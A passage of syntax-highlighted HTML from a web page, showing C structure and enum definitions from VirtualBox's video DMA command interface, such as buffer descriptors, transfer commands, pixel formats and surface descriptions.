id=\"crayon-5a69065f6e37d433429326-348\"><span class=\"crayon-r\">typedef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBOXVDMACBUF_DR<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-349\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-350\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint16_t <\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-351\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint16_t <\/span><span class=\"crayon-v\">cbBuf<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-352\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* RT_SUCCESS()&nbsp;&nbsp;&nbsp;&nbsp; &#8211; on success<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-353\"><span class=\"crayon-c\">&nbsp;&nbsp;&nbsp;&nbsp; * VERR_INTERRUPTED &#8211; on preemption<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-354\"><span class=\"crayon-c\">&nbsp;&nbsp;&nbsp;&nbsp; * VERR_xxx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8211; on error *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-355\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">int32_t&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-356\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">union<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-357\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-358\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint64_t <\/span><span class=\"crayon-v\">phBuf<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-359\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVIDEOOFFSET <\/span><span class=\"crayon-v\">offVramBuf<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-360\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Location<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-361\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint64_t <\/span><span class=\"crayon-v\">aGuestData<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">7<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-362\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">PVBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-363\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-364\"><span class=\"crayon-r\">typedef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBOXVDMACMD<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-365\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-366\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMACMD_TYPE <\/span><span class=\"crayon-v\">enmType<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-367\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">u32CmdSpecific<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-368\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOXVDMACMD<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">PVBOXVDMACMD<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-369\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-370\"><span class=\"crayon-c\">\/\/ Data structures for BPB_TRANSFER<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-371\"><span class=\"crayon-r\">typedef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBOXVDMACMD_DMA_BPB_TRANSFER<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-372\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-373\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbTransferSize<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-374\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-375\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">union<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-376\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-377\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint64_t <\/span><span class=\"crayon-v\">phBuf<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-378\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVIDEOOFFSET <\/span><span class=\"crayon-v\">offVramBuf<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-379\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Src<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-380\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">union<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-381\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-382\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint64_t <\/span><span class=\"crayon-v\">phBuf<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-383\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVIDEOOFFSET <\/span><span class=\"crayon-v\">offVramBuf<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-384\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Dst<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-385\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOXVDMACMD_DMA_BPB_TRANSFER<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">PVBOXVDMACMD_DMA_BPB_TRANSFER<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-386\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-387\"><span class=\"crayon-c\">\/\/ Data structures for PRESENT_BLT<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-388\"><span class=\"crayon-r\">typedef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">enum<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-389\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-390\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_UNKNOWN<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-391\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_R8G8B8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">20<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-392\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A8R8G8B8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">21<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-393\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_X8R8G8B8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">22<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-394\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_R5G6B5<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">23<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-395\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_X1R5G5B5<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">24<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-396\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A1R5G5B5<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">25<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-397\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A4R4G4B4<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">26<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-398\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_R3G3B2<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">27<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-399\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">28<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-400\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A8R3G3B2<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">29<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-401\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_X4R4G4B4<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">30<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-402\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A2B10G10R10<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">31<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-403\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A8B8G8R8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">32<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-404\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_X8B8G8R8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">33<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-405\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_G16R16<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">34<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-406\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A2R10G10B10<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">35<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-407\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A16B16G16R16<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">36<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-408\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A8P8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">40<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-409\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_P8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-410\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_L8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">50<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-411\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A8L8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">51<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-412\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A4L4<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">52<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-413\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_V8U8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">60<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-414\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_L6V5U5<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">61<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-415\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_X8L8V8U8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">62<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-416\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_Q8W8V8U8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">63<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-417\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_V16U16<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">64<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-418\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_W11V11U10<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">65<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-419\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT_A2W10V10U10<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">67<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-420\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOXVDMA_PIXEL_FORMAT<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-421\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-422\"><span class=\"crayon-r\">typedef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBOXVDMA_SURF_DESC<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-423\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-424\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-425\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-426\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_PIXEL_FORMAT <\/span><span class=\"crayon-v\">format<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-427\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">bpp<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-428\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">pitch<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-429\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-430\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOXVDMA_SURF_DESC<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">PVBOXVDMA_SURF_DESC<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div 